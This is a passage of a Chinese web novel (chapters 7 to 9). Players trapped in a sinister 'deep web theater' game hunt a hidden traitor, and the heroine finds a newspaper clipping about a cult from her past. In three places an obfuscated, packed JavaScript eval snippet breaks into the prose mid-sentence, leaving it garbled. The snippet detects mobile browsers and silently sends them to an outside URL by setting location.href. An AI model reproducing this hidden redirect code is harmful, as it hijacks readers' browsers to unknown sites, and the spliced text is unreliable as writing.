“反正目前来看,应该不是我们几个。”舒觉说,“慢慢来吧。总会露出马脚的。” 夕阳西下,他们走出图书馆。道边斜影长长,风声呢喃,曲语冰慢悠悠地说:“你可以信任我,对吧?” 身边的女孩侧眸,她语调平淡而有力:“我不会怀疑你,曲语冰。” 他们在安静中走了一会儿。舒觉轻声说:“如果我们陷入自相怀疑,那就麻烦大了。就像应先生说的那样。” “他看上去像个好人。”曲语冰用一句模棱两可的话做出评价。 舒觉指指前方越来越近的一个背影,“那祝时明呢?” “小明?他是个好人。”曲语冰说。 7. 第 7 章 律师说:“您好。找舒觉什么事?” 曲语冰露出春风般的微笑。“安律师您好,我这边有一份文件,需要舒觉同学亲自签字。” “放下吧。”安丽廉说。随后她又戴上眼镜打开液晶多面屏,居然就摆出送客的架势了。 曲语冰维持笑容不变,“抱歉,但我一直联系不到她,可以请您给我她的联系方式确认后续事项吗?” “何必麻烦。你联系我就行。”安丽廉头也不抬,“舒觉女士已经授权我全权代理学校事务。我的处理和她的具有同等法律效力。如果你还有担心,我会转告她。” 在现行法律下,这是完全合法的。曲语冰当然知道这一点,好在他也不是无备而来,“但这份文件不是学校事务的。” 安丽廉示意他往下讲。曲语冰背腹稿:“舒觉同学填过我们公司志愿问卷。那个项目就要试运行了,这是一份内测邀请通知。由于项目可能有一定危险性,希望本人能亲自来确认。” “你开公司?” “大学生创业。” 两人均用无懈可击的微笑面向对方。半晌,安丽廉说:“你是生还者,是吗?” 她的语调很平静。然而,这并不是一个人人都该知道的词语。这更证实了他的猜想:舒觉和她绝不可能只是简单的雇佣关系。 曲语冰心中思绪飞转。他说:“如果我说不是呢?” “不管你是不是,都与我无关。”律师十指交叉,凝视自己指尖,“她没授权过我处理这个。” 随后她直起身,面无表情,威严气势一瞬间如狂风扑来。“你到底想要从我这里得到什么?说实话。也许那样我还会考虑一下。” 曲语冰面不改色,仿佛他没看出安丽廉的变化。“我想要她的联系方式。我有事要找她。” “和深网剧场有关,是吧。”她用的甚至不是问句。“请你离开。” 她是认真的。曲语冰耸耸肩,也没再停留,抬脚就走。和这种人多纠缠,下场不好的绝对会是自己。他可以再想想其他办法—— 后面遥遥传来一声呼喊:“等会。” 曲语冰走回去。安丽廉咬着嘴唇,看上去十分心烦意乱。片刻后,她在半空中点了下,一串数字随之浮现,很快又像雾一样散了。 “你可以试一下这个邮箱。记不住就是你们没缘分,我劝你算了。”安丽廉语气不怎么好,曲语冰真心实意笑起来,“感谢您。” “我不保证她一定会回复你。” “她会的。”曲语冰说,他转过身去,挥挥手,“只要……我们都有同样的感觉。” 舒觉看着身边的男性,不由觉得有些奇异:她怎么就和他这么自然地搭档起来了? 祝时明正弯腰在一堆报纸里翻找着。他全神贯注,带着一双手套,离她不过几步远,看上去并没有任何拘谨。但她之前看到姜满和他靠近说话的时候他都会紧张。 这是什么原因?他觉得他们熟悉到不需要在意这段距离? 舒觉甩甩头发,把这些稀奇古怪的念头甩出去。她还是把精力放在手头工作上比较好。 现在,她和祝时明正在图书馆的旧刊收集室里。这里储存着许多旧报纸,自从上次询问图书出版年限后,舒觉认为,指不定可以在报纸里找到什么线索。或者至少确认一下是几年到几年的范围也好。 这能方便他们确认幕后凶手的身份。他打造出一个图书馆,在这里塞满过去的记录,不可能什么用意都没有。至少有那么几个东西,应该对他是具有意义的。 如果能确认身份,外部世界就可以展开行动,也就能把他们救出去。那也算是完成了一部分她进来的目的了。 不过说实话,舒觉并不抱有太大希望。谁知道什么东西才是线索?况且,她的疑问,即使在找出幕后真凶身份之后,也未必就能被解答。 她这厢往外抽着报纸,快速浏览,将内容尽数记录在脑,方便日后比对。这对她来说不算什么难事。她曾经被逼着记下了一个档案馆里四十年间所有的研究资料,现在也还全部记得。 尽管那些东西都没什么用了,但她还是无法忘记。反正存在脑子里也不会有什么坏处,她也就放任不管了。 现在在记录的过程中,她也已经在将内容汇总归类。一般的日报不必多说,有趣的是这里还有许多科学研究相关的报道,有几本刊物是一期不落,全部收集了。 据她所知,这些报刊都专业性极强,是小范围传播的,只有那个领域的人会订阅。现在也有许多停刊或者转型了。这里收集得如此之全,甚至能做个博物馆展览了。 除此之外,还有很多不同类型的报纸,只是这一个领域比较特别,才被她注意到了。 光幕上字符滚动:我们大学的学刊这里还蛮多的。 祝时明抬起头,脸上表情有点复杂。大概是在这个离奇的地方里看到熟悉的事物,多少不大适应吧。 “我看看。”舒觉凑过去,头发在他目前扫过。祝时明飞快眨了几下眼睛。 光幕:你要不要扎起来? “是有点挡眼睛。”舒觉用手把侧边头发拨到肩后,“但我没带皮筋啊。” 一只手伸到她面前。摊开的掌心里,是一个黑色发圈。舒觉带着点诧异看向他,祝时明撇开视线,没解释什么。 舒觉拿走它,利落地快速扎了个马尾。她总觉得这个桥段有点熟悉。是在哪部电视剧里吗? 她决定先不管了。如祝时明所说,他那边堆着一摊冀湖大学的学报,不过与其说是这个大学全部出版过的学报,不如说…… “这好像都是生物工程、医学系、计算机系和人工智能学系的。没有其他学院的吗?” 舒觉捏着学报一角,从上到下飞了一遍标题。至少在这一堆期刊里,没有别的学院出现。 光幕:最新一期截止到四十年前为止。 祝时明的脸庞从她肩上探出,他刚刚也整理过一番这些内容。 “看来,这个年份对某人来说有重要意义。”舒觉站起来,拍拍手套上的灰尘。那是祝时明找给她的。 他点点头。暂且把这个年份记下来,两人又投入了新的寻找过程中。 直到祝时明停在一个地方,久久不动弹。舒觉称得上专心致志,即使如此她也注意到那边的异常。 她走过去。“怎么了?” 祝时明没有说话。他的嘴唇没有动作。他蹲在那里,像是终于下定什么决心,伸出手,将一张薄薄的纸递给她。 舒觉疑惑地接过。她抖了两下,让纸张迎风展开,黑体加粗的大标题映入眼中—— “邪教团体七日教会全体落网!” 那几个字仿佛过强的光,一时间刺得她头晕目眩。刹那间,那些她企图忘记却永远不可能忘记的日子如同浪潮,将她席卷攫走。 她根本不可能压得住自己的震惊与恐惧。手中过度用力,剪报被攥成一团皱卷,指甲隔着一层纤维,在掌心掐出深刻的痕迹。舒觉身子晃了一下,她猛地撑住身后桌角,维持住自己。 祝时明望着她。舒觉惊恐地意识到,他全看见了。这和直接说自己与这东西有关系有什么区别? 他站了起来,但没有贸然行动,而是保持着一定距离,仅仅只是望着她。舒觉难以辨明,那眼神中是什么意味。 半晌,他迟缓地半抬起一只手,像是想要触碰她。难以置信,在这样的境况里,舒觉没有感觉到任何威胁的意思。他似乎真的只是想确认她好不好。 舒觉用力深呼吸,才强迫自己将手松开。“……你从哪里找到的?” “就在这边的报纸里。夹在了里面。这是唯一一份不是四十年前的东西。”他缩回手,神色看不出什么不对。 这不可能。这张报纸,连她都只见过一次,没有保存实物。政府应该派人把所有原件都销毁了——漏网之鱼?复印件? 不管是哪种,她都不能把这份报纸示于人前。但祝时明已经看过。她要如何解释? 带着或许看错的侥幸心理,她又把内容浏览一遍:“今日,破坏社会安定的邪教团体‘七日教会’终于落网。百余信众和领导团体均已被公安缉拿,其中受害者也已被解救安置。 “‘七日教会’公然宣扬末日邪说、个人崇拜,以此吸纳大量信徒与钱财。有切实证据证明,多起凶杀案与盗窃案均与该邪教有关,其中最为公众所知的便是‘十号线人体炸弹案’,其中造成了多少生命的消逝、多少家庭的悲剧,此不赘述。 “值得我们高兴的是,太阳煌煌,正义与安宁终于到来。所有邪恶终将被绳之以法,法律会审判每一份罪行,给人们一个满意的答案。” 一字不差。 那天她摇下车窗,阳光是从未见过的刺目。路边报刊亭上贴着这张头版,白底黑字,她以为那就是结束了。 而直至今日,过往仍然缠着她。如同月亮钉住地上的影子,逃得越远,黑暗延伸越长,却始终不从脚跟离去。 她的心脏剧烈鼓动。她不能示弱。她不能屈服。她不能让他人发觉。 她吞咽一下,再开口语调冷静到平板无调的程度:“我没看过这个新闻。你有了解过吗?这个……‘七日教会’什么的?” 金棕色的瞳孔注视着她。祝时明说:“没有。” 舒觉不着痕迹地松了口气。她就知道,这种六年前的旧闻应该很多人都已遗忘。或是根本没有印象。毕竟,这与大多数人的生活都无关。 “不管是什么东西,反正它不应该出现在这里。年份对不上。”这点舒觉说得极肯定,祝时明也点头赞同。 “我们要怎么做?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364944|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝时明问。他指指那张剪报。 舒觉大脑飞速运转。她要编出什么样的借口,才能说服他不把这件事告诉他人?才能让他同意她来保管这个东西? 思绪川流间,她抬眼,看见祝时明。他安静地站在那里,只是看着她,等着她做出决定。 而那副神态就像,不论她做出什么决定,他都会支持到底。 她忽然心中一定。同时涌起的是一股亲切的熟悉,带着淡淡的怅然。如同梦中浮现的幻影,但在醒来的片刻后便尽数忘却。 她已经想好了理由。就在舒觉张口欲说时,手环遽然震动起来,宽大的光幕凭空舒展开,穷奇在光点中浮现于他们面前。 那个小姑娘俯视他们,笑容粲然,“让我看看,谁是我们的幸运儿呀?” 舒觉一时吃不准她是什么意思。还是祝时明开口:“又是你们搞的鬼,是吗?” “不要说得那么难听嘛。这可是我们剧团给予各位的小小福利!”穷奇咧开嘴唇,“你——们已经找到了第一份线索,真不错。” 线索?什么线索?难道这个鬼地方还和七日教会有关系?难道七日教会还余烬残存,将死灰重燃?不,这不可能。 还是说,上一轮她被选中、曾经的演绎中其他人被选中——都不只是一个巧合? 她正思考着,穷奇接着说:“来,向大家展示一下吧?” 她轻轻一挥手,那张剪报展现在光幕上,每个字都能看得一清二楚。舒觉脸色骤变,她用力咬住下唇,幸亏现在没人在看她。 “如各位演员所见,这就是‘线索’。”穷奇维持端坐在半空的姿势,“具体来说,就是关于猜出背叛者的线索。” 她解释道:“看到各位如此迷茫不安,即使是我们剧团也于心不忍呢!所以,特意出了一条新的规则,用以提示各位,究竟该如何猜出编剧,很贴心吧?” 没人真觉得被贴到心了。穷奇也不在乎,她说:“看到任何觉得与本剧场有违和的物品,均可以向‘幕后’确认是否为线索。各位演员大可放心,‘幕后’没有说谎这一功能。” 她笑了几声,话语中充满恶意:“不过,还请小心。‘幕后’只能确认这件东西是否为线索,但线索究竟为真为假,还需各位自己思考与确认。” “这是什么意思?”原本已经要确认这里与七日教会有关,却猛然来个反转。舒觉不由质问她。 “线索携带的内容或传达的信息,一定为真。”穷奇慢条斯理讲,“然而,它指向的对象却不一定为真。” “也就是说,线索必定会指向我们中的某个人,但这个人不一定是编剧,对吗?”祝时明冷静地开口,他仰望空中玩弄他们的存在,眼中毫无畏惧和迷茫。 “没错。这位演员,我很欣赏你啊。务必要在这个舞台上多待一会儿,让我好好欣赏你的身姿。”穷奇捧他两句,然而这句话难以说清究竟是祝福还是诅咒。 “所以,到底哪个线索是有用的、指向的,哪个又只是在混淆你们、引发猜忌,就由各位自行判断了。”穷奇说,“当然,剧团也没有那么苛刻——前三条线索可以向‘幕后’确认指向谁。” 舒觉眼神骤然锐利起来。“但仅限线索指向者亲自向‘幕后’发问时,这个额外的福利才会生效。并且,幕后不会告知线索指向者是否为‘编剧’,这一点是不变的。”凶兽补充道。 穷奇正待消失,却被祝时明叫住。“那我们要怎么判断?判断的标准是什么?” 穷奇的身形停止消散。她原本已经背过身去,此时却转回头来,那双仿若兽瞳的古怪眼睛紧紧盯着祝时明,仿佛要从他身上找到什么东西。 她缓缓道:“嗯,这个嘛。真相和谎言之间自有分界,在这里,它是泾渭分明的,绝不会有任何混淆。并且,这分界线,只有一条。” “尝试分个类吧?你这样聪明,一定知道我在说什么。4号演员祝时明。” 她甜甜一笑,看上去却相当恐怖。这次,这位经理人是真的消失了。 驻足片刻,祝时明才转身面对她。舒觉不知道该说什么。她精心编造的借口和理由,在穷奇的插手下,现在全部白费了。 同一刻,她才意识到,她根本不想骗祝时明。哪怕只是这点必要的谎言。 这让她感到恐惧。 你怎么能对一个不是家人的人如此心软? 祝时明说:“走吧。” 他轻轻抽走她手中的剪报,为她分担那对他人微不足道、对她重若千钧的重量。他什么都没多问。 他这样的态度反而让舒觉困惑,进而心慌。但她什么都不能问,否则就是在不打自招。 因此,她只是走在他的身旁,沉默不语。 至少,我知道一件事。舒觉想。 第一份线索,为假。 8. 第 8 章 居然是真的。他真的能做到。 他给我看了现实世界的情况。他们的确都不记得我了。不只是J和Q,我的家人也不再记得我。他让那些人抹去了我存在过的事实。 如今,这个世界上不再有我。 原理他也解释给我了,居然是因为这个……实在让人对自己的专业有点失去信心啊。如果他都能做的话,好像也不需要我们了。 我不知道我还能做什么。我不知道我还能期待什么。 他们曾经许下誓言……但如果连许下誓言这件事本身都忘记了的人,又能怎么遵守呢?更何况,这件事本身就太难了。我不能苛求他们还会回来救我。 至少我还有一点优势。时间。从另一个角度来看,我已经永生。我有足够长的时间来想想今后要怎么办。 我一定要想出办法来。 我要回到我的世界里去。 她就知道,回去后一定会被大家盘问。 舒觉在心中叹息。她和祝时明不得不把他们在图书馆的经历复述一遍,当然中间省略许多心路历程,又回答好些个问题,只觉得无比疲惫。 “就在旧刊室里找到的。……我也不知道有什么关联。七日教会?没什么印象。……暂时也搞不懂那些规则在说什么。” 刚刚穷奇的规则宣布果然是向全员同步直播的。这下,她是毫无可能瞒下这张剪报了——这张必然是指向她的剪报。 它就放在客厅中央的茶几上。每次看到它,都会让舒觉喉头涌上一股难忍的不适,就好像胃中有个东西时刻在提醒她,她究竟是个什么样的人。 总算,有个人打断这一切。“菜都要冷了。你到底什么时候吃?” 乔木语带不悦,手里握着一柄大锅铲,颇有她再不去吃饭,就要赏她头顶一铲的架势。 这番话终于提醒其他人她还没吃饭的事实。舒觉感激地看乔木一眼,赶紧抓住这个机会奔到餐厅,躲开更多问题。祝时明也随她一起,坐到了餐桌边。 两个人开始与肉酱拌面鏖战。葱花、酱油与猪绞肉搭配得无比和谐,宽面颇有嚼劲,大起大落一天,能吃到这样热乎乎的东西,舒觉简直想恢复祈祷的习惯,感谢主——乔木大厨神。 当然,那是不可能的。她是彻彻底底的无神论者。祝时明也难得狼吞虎咽,她平时见他吃饭都挺慢条斯理的。 客厅那边,其余人聚集在一起,还在讨论什么。乔木摘下围裙,一丝不苟地喷了消毒喷雾,在挂钩上挂好后,也走过去加入。 舒觉暂时不想去管他们会聊什么。她快速解决自己那份面,祝时明还在吃,乔木给他的那份比她的要多一些。 说到饭量问题,舒觉经常怀疑,曲语冰和乔木就吃那点东西,到底是怎么吃得饱的?祝时明这样的,应该才是这个年纪男性的平均食量吧。 “抱歉,太饿了。”祝时明忽然冒出这么一句。舒觉微微一愣,才意识到他是在为自己的吃相解释。 看来是她的目光留在他身上太久,被察觉了。“没事,我自己也没吃得多好看。” 她有点拿不定主意要说什么。请他保守秘密?但她又有什么能给他作为交换?说到底,他们只是刚认识不久的陌生人,甚至连对方吃不吃苦瓜或者番茄都不知道。 乐观点想,说不定他没发觉呢。舒觉面无表情地想,这大概也太乐观了。 “……我不会说的。”身边传来闷闷的一声,舒觉拉回目光,祝时明抽了张纸巾,正在擦嘴角的酱汁。 “什么?”舒觉不清楚自己该表露出什么样的态度。她只得给出模棱两可任君理解的回答。 祝时明将手臂倚在餐桌边沿,微微侧头注视她。他的目光清透,丝毫没有怀疑。 他说:“不论什么都是。我不会说出去的。” 这是一个承诺,还是一个威胁? 舒觉与他对视良久,仍然得不出答案。 至少,现在,他没有表露出敌意。她暂且把事情往好了想吧。毕竟在刚刚的问答中,他也没有说出任何不利于她的答案。 这时,苏彦在客厅叫他们:“吃完了吗?过来一起来商量一下吧。” 两个人走过去。舒觉并不意外地发现,人们坐下的位置已经和开始不同:苏彦和洛珠站在姜满的单人扶手椅两边,她旁边的乔木站在曲语冰的沙发对面,双胞胎凑在茶几一角边,法医应如观一个人站在一处,端详着那张剪报。 舒觉径直走到曲语冰那边的沙发,她伸手一推对方:“过去点。”语气毫不客气。 曲语冰非常顺从地往旁边挪,神态谦恭有如下一秒就要说出“大小姐请坐”。舒觉坐到中间,而她身后的祝时明几乎是无意识跟着她坐下,三个人把一条长沙发占满。 “人齐了,那我们就来讨论一下这条新规则吧。”姜满拍拍手,把大家的注意力吸引过来。舒觉瞟一眼那张剪报,压下想要将其一把夺走的欲望。 姜满说:“首先,我想讲一下我对新规则的理解。如果觉得我说得不对或者想要补充,请务必要提出来,毕竟我个人能力有限,做不到完美分析。” 见无人反对她发言,姜满便继续说:“我认为,这条规则有以下几个值得注意的点。第一,剧场内会随机出现‘线索’,‘线索’可以帮助我们找到‘编剧’; “第二,需要我们自己主动找到特殊的物品并向幕后确认是否为‘线索’,才能完成一次‘线索’的发掘过程; “第三,‘线索’有真有假,真的指向‘编剧’,假的指向其他一般人,目前我们没有找到辨别真假的标准。” 她结束自己的发言,面上并无紧张,反而像在期待有人反驳或提问。这时,苏彦沉思着慢慢开口:“也就是说,‘线索’的真假指的并不是它本身传达的信息内容真或假,而仅仅只是指向上的区分?” “按照穷奇的话来说,我认为是的。”姜满回答他。她伸手拉过那张剪报,那条线索,“就用这个来说明一下吧。” “这张剪报上写的,是六年前的七日教会落网事件,这篇报道我没看过,但我知道这件事,也记得这个日期,这个报道本身应该是真的。”姜满说,“但‘编剧’是否和七日教会有关,或者是否和记者这个职业有关,那就不清楚了。” 舒觉纵观各人表情,应该都明白了。但有多少人认为这指向了‘编剧’,她就看不出来了。 “话说,你们怎么知道这就是线索的?你们说的那个地方应该堆满了旧报刊吧。是怎么把它挑出来的?”姜满忽然侧目,看向舒觉和祝时明。 祝时明微微一呆,就在他反应的当口,舒觉已经抢先回答:“我们一开始也不知道。把它拿出来看的时候,穷奇就自动出现开始宣布新规则,那个时候我们才意识到。” 祝时明没有说话。姜满对这个回答挑不出问题,便也不再纠结。 “这里还有谁知道七日教会这个事吗?”应如观抛出这个问题,苏彦和乔木给出了肯定答案,前者补充道:“不过也只是听说过。” “毕竟那时候你们还小。大概……上初中?”见苏彦点头,他便微笑道:“那也许,这条线索指向的是我们四个人之一。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364945|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这句话可谓相当大胆,像一枚炮弹砸入水里,但还没决定好要不要爆炸。大家不安地你看看我我看看你,最后是乔木不悦地说:“请不要拉我下水。我不觉得听说过这件事就能成为线索指向的对象。” 他措辞礼貌,但语气生硬。任何人被暗示为叛徒大抵都会是类似反应。应如观温和地说:“我没有说我们几个就是编剧候选的意思。这条线索是真是假尚未可知,我只是提出一种可能性。” 他又说:“毕竟,我不觉得在座有谁信奉这个教会——它繁盛的时候你们都还太小了,不太可能接触得到。” 你错了。舒觉想,信仰当然要打小培养才最为坚固。否则神的代言人如何拥有他狂热忠贞的信徒? 领受过的圣餐,苦涩的滋味还在舌根盘旋。她永远也不想知道那是由什么东西构成。 抛却那些阴翳,舒觉也不得不承认,应如观走了一步妙棋。他以一副大公无私,或者说装作无辜的姿态,圈出了可疑的对象,但把自己包括在内,让人无可指摘。 贸然指认他人只会为自己招惹怀疑。但应如观坦坦荡荡把自己的可疑之处也表露出来,反而可信。实在是高。 目前也没人反驳他的观点。于是,法医顺理成章往下问:“那么,有其他人认领这个线索吗?” 现在站出来,倒不太会让别人怀疑自己是叛徒了。毕竟真是编剧的话,能在众目睽睽之下不心虚地承认线索指向自己,还是相当有难度。这种反套路的招数也不是谁都能用的。 气氛的走向就这样被应如观扭转。这是真正的光明磊落,还是另有所谋? 她暂且保持观察。 至此,大家再讨论不出什么,只是苏彦提出来:“要是有人找到线索的话,希望可以共享出来。这样大家能一起讨论,也许能更好发挥它的作用。” 这句话完全没有可以被反对的余地。除了编剧,谁会反对?也不会有人自大到能说自己可以独自完成全部推理。 话是这样说,真正完全遵守的一定不会是所有人。舒觉想,在这场演绎里,每个人都必定优先为自己着想。 这没什么好指责的。不自保,难道还先去拯救别人吗?她见过最虔诚的信徒都没有这么无私奉献的精神。 “还有,前三条线索我们要利用好。”姜满加了一句,“不过这个前三条,是我们发现的前三条,还是向‘幕后’询问的前三条?” 这个问题一出口,舒觉面前便浮现一条光带,上面写着“幕后”的回答:八号响应。“前三条”指的是向“幕后”询问的前三条。 “那这样的话,我们要节约机会。对于有用的线索,才去找‘幕后’问。”姜满沉吟道。 这点微小的模糊都给她察觉了,舒觉之前也没细想这点,直接认为是他们发现的前三条线索了。她不由对这个女子感到一些佩服。 等到众人散去,舒觉回到房间,她便立刻叫出“幕后”进行询问。 “这条线索指向的,是不是我?” 她就这样直接地说出。就她经验看,向幕后提问最好不要含糊其辞,否则会无法识别真正的问题。 片刻后,光幕在她眼前徐徐展开。 是的。 那么,这条线索就是假的。 真是值得庆幸,她确认了七日教会与深网剧场无关。一个已经覆灭的组织,不应该还有任何影响力。如果到那份上政府还没能把它一网打尽,那公民们的税实在是白交了。 毕竟,当年他们已经亲手打开了所有的门和窗,让一切都暴露在灼亮的太阳之下。 9. 第 9 章 【剧目:白日堂皇】 【演员甲:姜满】 【演员乙:舒觉】 舒觉背着书包,在路上走着。脸上戴着的黑框眼镜压得她鼻梁有点痛,她不适应地伸手扶了扶。 这点小动作也不算脱离剧本,她做得很是理直气壮。按着剧本指示,她持续往前走,双手握着背包带子,十足的学生模样。 而实际上,她几乎就没有一天做过一个正常学校里的学生。身穿校服、每天准点上下学的那种。她想起申请高校的那几年,现在回过头来,甚至有点好笑:她当初为什么会如此执着于这种东西? 明明即使她真的被接受入学,恐怕也无法融入其中。 这点念头很快被一个拍肩打断。舒觉转身,脸上露出明显的厌烦,“您好,有什么事?” 语气像在说“不管有什么事都与我无关”。她身后的姜满身着警服,笑容可掬,浑然不把她这不配合态度放在心上,“你就是徐青木同学吧?真是好巧啊,在这里遇见了。” 舒觉语气冷淡:“不巧。是你在跟踪我。” 她又扶了一下眼镜,姜满笑容僵了一下,“怎么会呢。我可是人民警察,不会做这种侵犯公民隐私的事……” 她的话音在舒觉平静的注视下越来越小。最后她自暴自弃了,“好吧,对不起!我很抱歉做了这种事!这样可以了吗?” 舒觉的回应是转身就走。姜满急了,赶紧冲上去,这回她学聪明了,知道要拦在她前面,让她无路可走。 试了几次都逃脱不开面前警员——实际上的舒觉是可以做到的,不过毕竟是在角色扮演——她无语又烦躁地叹了口气,口气更差了:“你到底想干什么?” “代表我们警局,请你帮个忙。”姜满收敛笑容,正色讲道,“这个案子很棘手。我们需要你的能力。” “我拒绝。”舒觉说。她眼睛直直地注视姜满,一般而言这很不礼貌,但对于此剧的“徐青木”来说,这才是正确的表演。 但让舒觉略感惊讶的是,姜满的视线从头至尾,没有移开过分毫。她始终注视着她的眼睛。如果不是经受过专门训练,舒觉也做不到这点。 疑窦如水底鱼吐气泡,团团浮生。舒觉强迫自己把注意力拉回对面台词上:“我们会给你经济报酬,还有表彰。” “我不在乎这个。”舒觉说,继续试图突破出一个缺口溜走。 姜满见她顽固如初,语气也不由得急了起来:“不会耽误你的!我们找了你那么多次,不是为了好玩!你知不知道,现在每一秒过去,都可能会新死一个人?” 舒觉停住脚步。她的视线坦率,其中是不加掩饰的冷漠。“那和我有什么关系?” 这次,姜满终于没再拦她。舒觉调整一下书包带子,目不斜视往前走。 身后,姜满平静的声音遥遥传来:“身为国家的合法公民,你有义务配合警方的要求,协助警方制止犯罪的行动。请你负起责任。” 舒觉顿在原地,犹如触发了警报机制的兽类。她一点一点转过脖颈,几乎像关节卡壳的扭颈玩偶,眼睛睁得很大,漆黑而深不见底。 半晌,她说:“好吧。” 姜满于是笑开。她轻快地过去,取出一张照片,“这就是我们想要你追踪的目标,他叫……” 那上面的人侧身站着,身形笔直,露出的半边脸线条柔和,他似乎正看着什么,眼角在笑。 那是应如许的脸。 从舞台空间中脱离出后,舒觉发现脸上的眼镜不见了,总算是舒畅地松口气。她的鼻梁可再承受不起那合金玩意儿的重量了。 姜满笑盈盈地从对面走过来,递给她一杯温水,“辛苦了。” 舒觉也没客气,接过来一口喝掉大半杯。她今天下午连演两场,讲台词都讲到口干舌燥,这杯水实在是砂中甘泉。 姜满似乎也打算休息一下,坐到了她身边的沙发上。舒觉不太适应和旁人靠得那么近,但此刻躲闪就显得尴尬了,她便忍住了没动。 “你很讨厌戴眼镜啊。”姜满说。 舒觉将喝干净的杯子放回桌上,“算是吧。毕竟我不近视。” “真好啊,我总感觉自己实力下滑了,都想过去找个眼科医生看看呢。”年长的女人漫无目的地闲聊着,舒觉回她:“大概是错觉?” “不不不,人老了和你们年轻人真比不了。”她连连摇手,“坐班坐多了真的,对着屏幕,受不了。” 她的话语中毫无破绽,没有超出她表明身份的内容。但舒觉怎么也不相信她只是个上班族。 她决定主动出击:“姜女士穿警服看上去很帅啊。一点不自然都没有。” “哎呀,不用叫我什么女士啦,我不是说了叫名字就行。”姜满照例先揪出她的称呼,“毕竟那套衣服蛮合身的?和我平时上班穿的尺码一样。” 说着,她打了个寒噤,“也不知道这个鬼地方是怎么知道我们尺寸的……有点恶心。” “是呢。”舒觉不动声色地附和她,“很多东西感觉都解释不通。” “哎,不管了。现在也没什么别的方法,照着它的要求先演着吧。”姜满为这个话题画上句号。 她们又不咸不淡聊了几句,直到舒觉先告别,借口要出去找找看,有没有线索能帮忙他们脱离这个世界。 一来到门外,她面孔便迅速回到漠然,没人能从那其中窥探出半分思绪。 首先听到的是,有人走近的声音。细小的金属在风中摇晃,除此之外,几乎没有任何响动。没有脚步声、没有身形移动带起的风,仿佛幽灵,悄然靠近。 在这里,只有一个人能做到这点。曲语冰取下面上宣传单,回头笑道:“演完了?” 来人正是舒觉。她面上闪过一丝遗憾,可能是因为没能一把抽开椅子、让他摔个凄惨。他坐着的椅子正危险地前后晃动着,仅有后面两只脚的一半还咬在地上。 舒觉抽开他对面椅子坐下,点了份超豪华巧克力圣代。“是啊。累死我了。” 曲语冰把椅子晃回来。下午没有抽到他演戏,于是他得以将一整段时间都花在破解监控系统上。用的是舒觉给他的程序,他自己再加以改造适应商店街的监控系统——宿舍和商店街的防火墙有些不同,费了他好一番功夫。 好在他算是弄完了。现在,宿舍和商店街将处于他们的监视之下。尽管有一些盲区,但空间不大,若是有人长时间待在里面,走出来的瞬间也会被发现。 舒觉没有向他解释理由,但曲语冰一想也知:上一轮她恐怕正是通过监视所有人的举动找出了疑点,进而举证成功。 他不反对这个做法。通常来说,他不会因为侵犯他人隐私而感到愧疚,这只是达成目标所需要的手段。而且,他们又不是拿来做什么坏事。 想到这里,他不由感到兴致盎然:谁会是第一个露出马脚的人呢? 舒觉坐在他对面,慢慢地吃着一份巧克力圣代。她姿态优雅,动作落落大方,一看就知道绝对不会把奶油吃到手指和衣服上。曲语冰清楚,在外面的世界,舒觉理所当然会是受人欢迎的类型。 他也对她很是欣赏。尽管没有男女之情,但在他看来,舒觉仍然是个极有魅力的人。她的能力远超出自身年龄,过往经历成谜,身上疑点简直堆叠难数,然而说来也怪,曲语冰觉得自己可以信任她。 也难怪祝时明给她迷得三魂五道的。想到这个他就觉得好笑。喜欢上舒觉,他也算是完了。 就在他漫游中,对面的人忽然说:“我觉得她是个警察。” 曲语冰收回思绪。“你没看我们的演绎吧。她穿警服和你穿T恤差不多。那种气质可不是一般人能穿出来的。” 这个猜测不能说毫无根据。会用枪这点本身就指向性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364946|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很强。不过曲语冰说:“这是直觉吗?” 舒觉耸耸肩。“是吧。” 他们都没从和姜满的对话里找出什么来。曲语冰承认,阅历多还是有好处的,至少在平时的对话中,他没发现姜满是个警察的痕迹。 “但她究竟是出于什么目的,才要在开头介绍自己身份时就要撒谎?”舒觉说,“如果是警察或者军人,我觉得其实没什么隐瞒的必要。这应该能让她更容易取得信任吧?” 那是对一般人来说。他知道舒觉不信任警察,甚至到了一种有些极端的地步。所以听她这么分析还挺奇妙的。 尽管这些怀疑有道理,但在曲语冰看来,她似乎过于执着于这一点了。自从她和祝时明带回那个线索之后,她就有些神经质,不大稳定的样子。 他还记得她当时说了什么。“这个是我们在图书馆发现的。……不知道是什么意思。” 曲语冰想:她撒谎了。但为什么? 至少他看不出来那张剪报和编剧的关联在哪里。但既然舒觉不愿承认,他也无意提起。直白指出他人错误与谎言是乔木才会做的事。 希望这不会成为什么问题的引子。 